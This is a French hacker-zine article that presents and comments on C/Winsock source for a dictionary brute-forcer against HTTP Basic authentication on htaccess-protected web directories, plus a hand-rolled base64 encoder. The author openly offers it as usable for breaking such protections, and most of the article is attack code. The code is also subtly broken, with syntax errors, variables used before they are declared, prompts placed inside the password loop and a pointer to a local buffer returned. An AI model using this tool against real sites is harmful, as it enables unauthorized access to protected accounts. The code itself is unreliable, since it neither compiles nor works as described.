BRUTEFORCER


--- INTRO ---

Pour mon premier article dans le zine d'Espionet, j'ai choisi de vous faire le commentaire de la source d'un bruteforcer en C sur Windows. Celui-ci est à but instructif, mais il peut bien sûr être utilisé pour forcer des htaccess. Pour pouvoir fonctionner, il nécessite juste un dictionnaire.

Avant de commencer, je tiens juste à préciser que n'importe qui connaissant un minimum le C aurait pu écrire cet article. La source n'est pas totalement optimisée, et n'étant pas parfait, il y subsiste sûrement encore quelques erreurs... Pour comprendre cette source vous aurez juste besoin des bases du C, ainsi que de notions sur la prog winsock.

 

--- THEORIE ---

 

La sécurisation d'un répertoire d'un site web est la plupart du temps gérée par un htaccess. C'est en effet la solution la plus sure si le site ne présente pas de failles. La seule méthode pour parvenir à casser cette protection est donc d'utiliser un logiciel testant des mots de passe un à un.

Le modèle d'authentification de base créée par le htaccess est géré par le protocole HTTP. Celui-ci consiste à  demander à l'utilisateur un login et un password pour l'identifier. Le client doit envoyer une requête classique au serveur, avec le paramètre 'Authorization: Basic login:pass' :

 

GET http://SITE/REPERTOIRE_PROTEGE/ HTTP/1.0

Authorization: Basic base64[LOGIN:PASSWORD]

Host: HOTE

 

La difficulté réside dans le fait que le login et le password doivent être encodé en base64. Pour le login 'admin' et le password 'pouet' par exemple, on obtiendrait donc ceci :

 

GET http://SITE/REPERTOIRE_PROTEGE/ HTTP/1.0

Authorization: Basic YWRtaW46cG91ZXQ=

Host: HOTE

 

--- SOURCE ---

Pour commencer, il faut se connecter à la cible, en fonction de l'hôte :

 

-----------------------------------   CODE   -----------------------------------

 

#include <string.h>

#include <stdio.h>

#include <winsock2.h>

#pragma comment(lib, "ws2_32.lib")

 

void main()

{

      char req_host[32] = "";

      char ip[16] = "";

      struct hostent *host;

      struct in_addr **a;

 

      printf("Hote : ");

      scanf("%31s", req_host);

 

      WSADATA wsa;

      WSAStartup(MAKEWORD(2,0), &wsa);

 

      // on cherche l'adresse ip de l'hôte

      if(host = gethostbyname(req_host))      // si celui-ci existe

      {

            for (a=(struct in_addr **)host->h_addr_list; *a; a++)

                  sprintf(ip, "%s", inet_ntoa(**a));  // on copie son adresse ip au format (xxx.xxx.xxx.xxx) dans char ip[16]

      }

 

      // on définit ensuite les paramètres du socket

      SOCKET sock;

      SOCKADDR_IN sin;

      sin.sin_addr.s_addr = inet_addr(ip);    // on associe l'adresse ip de l'hôte au socket

      sin.sin_family = AF_INET;

      sin.sin_port = htons(80);      // on associe le port 80 au socket, puisqu'on utilise le protocole HTTP

      sock = socket(AF_INET, SOCK_STREAM, 0);

 

      connect(sock, (SOCKADDR *)&sin, sizeof(sin));     // on se connecte à l'hôte

 

-----------------------------------   /CODE  -----------------------------------

 

 

Une fois que l'on est connécté, il faut lire les passwords contenu dans le dictionnaire, un à un :

 

-----------------------------------   CODE   -----------------------------------

 

      char c;

      char dico[64] = "";

      int n, j=0;

      FILE * file;

 

      printf("Adresse du dictionnaire : ");

      scanf("%63s", dico);

 

      file = fopen(dico, "r"));      // on ouvre le dictionnaire en lecture seule

 

      while (!feof(file))     // tant que le pointeur n'arrive pas à la fin du dico

      {

            fread(&n, 1, 1, file);      // on lit caractère par caractère le dico

            c = (char)n;      // on associe au caractère 'c' le caractère lu

 

            if (c != '\n')      // si le pointeur n'est pas arrivé à la fin de la ligne

            {

                  pass[j] = c;      // on 'construit' le password en rajoutant le dernier caractère lu

                  j++;      // on incrémente j de 1 pour lire le prochain caractère

            }

 

            else      // si le pointeur est arrivé à la fin de la ligne, cela veut dire qu'on a lu un password du dico

            {

                  // on peut tester le password

 

-----------------------------------   /CODE  -----------------------------------

 

 

C'est donc maintenant que l'on passe à l'attaque :)

 

-----------------------------------   CODE   -----------------------------------

 

            char path[128] = "";

            char login[32] = "";

            char pass[32] = "";

            char auth[64] = "";

            char buffer[128] = "";

            char requete[1024] = "";

 

            printf("Adresse du dossier protége sur le serveur : ");   // on récupère l'adresse du dossier sur le serveur

            scanf("%127s", path);

            printf("Login : ");   // on récupère le login avec lequel on testera le password

            scanf("%31s", login);

 

            sprintf(auth, "%s:%s", login, pass);      // on copie le login et le password sous la forme 'login:password', pour l'encoder ensuite en base64

            sprintf(requete, "GET http://%s/%s HTTP/1.0\r\nAuthorization: Basic %s\r\nHost: %s\r\n\r\n", req_host, path, base64_encode(auth), req_host);      // on créée la requète à envoyer (la fonction (base64_encode) qui encode le login et le password est décrite ensuite).

 

            Sleep(10);

            sock = socket(AF_INET, SOCK_STREAM, 0);   // on reinitialise le socket

            connect(sock, (SOCKADDR *)&sin, sizeof(sin));     // on la connecte au site

            send(sock, requete, strlen(requete), 0);      // on envoie la requête

            buffer[0] = '\0';

            while(!buffer[0])      // tant que le réponse du serveur n'est pas nulle

                  int rec = recv(sock, buffer, sizeof(buffer), 0);      // on recoit la réponse du serveur

 

            if((strstr(buffer, "401 Authorization Required"))==0)   // si la réponse du serveur ne contient pas le code 401, l'authentification a réussie

            {

                  printf(" [ OK ]");      // le password est donc bon. Youpi

                  system("pause");

                  exit(-1);

            }

 

           

            closesocket(sock);      // on ferme le socket proprement

            j = 0;      // on remet à 0 ces paramètres pour

            for (i=0; i<32; i++) { pass[i] = '\0'; }      // pouvoir lire le prochain password

     

            }      // on teste le prochain password

 

      fclose(file);      // on ferme le fichier

      WSACleanup();      // on efface les données WSA

 

-----------------------------------   /CODE  -----------------------------------

 

 

Il reste juste à voir maintenant la fonction base64_encode, permettant d'encoder une chaîne de caractères en base64. L'algorithme de la base64 se décompose en ces étapes :

- encoder la chaîne en binaire

- la découper en nombres de 6 bits chacun

- convertir ensuite les nombres de 6 bits de cette manière

      . de 0 à 25 : A à Z

      . de 26 à 51 : a à z

      . de 52 à 61 : 0 à 9

      . 62 : +

      . 63 : /

- compléter par le caractère égal pour obtenir une chaîne dont le nombre de caractères est un multiple de 4

- réassembler le tout :)

 

-----------------------------------   CODE   -----------------------------------

 

char * base64_encode(char * to_encode)

{

      static char translation[65] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";

      char str_8bit[9] = ""

      char str_binary[2048] = "";

      char encoded[2048] = "";

      int i, j, k, l;

      int binaire[9] = { 128, 64, 32, 16, 8, 4, 2, 1 };

 

      // on commence par encoder le password en binaire

      for (i=0; i<strlen(to_encode); i++)

      {

            k = (int)to_encode[i];

            for (j=0; j<8; j++)

            {

                  if (k>=binaire[j])

                  {

                        str_8bit[j] = '1';

                        k = k - binaire[j];

                  }

                  else

                        str_8bit[j] = '0';

            }

            strncat(str_binary, str_8bit, 8);

      }

 

      if (strlen(str_binary)%6)      // si la longueur de la chaine binaire n'est pas divisible par 6, on rajoute 1

            k = strlen(str_binary)/6+1;

      else

            k = strlen(str_binary)/6;

 

      for (i=0; i<k; i++)

      {    

            l = 0;

            for (j=0; j<6; j++)  // on découpe la chaine binaire en morceaux de 6 bits

            {          

                  if (str_binary[(6*i)+j]=='1')

                        l = l + binaire[j+2];

            }

            encoded[i] = translation[l];   // on convertit le nombre en caractères utilisé par la base64 (A-Za-z0-9+/)

      }

 

      while (strlen(encoded)%4)      // si la longueur de la chaine n'est pas un multiple de 4, on complète avec le signe égal

            strcat(encoded, "=");

 

      return(encoded);

}

 

-----------------------------------   /CODE  -----------------------------------

 

--- CONCLUSION ---

Voili voilou. J'espère que j'ai été clair dans mes explications et que je vous aurez appris quelque chose.

 

-----------------------------------------------------------------------

 

Gabichounet  

Pour me contacter :

gabichounet@espionet.com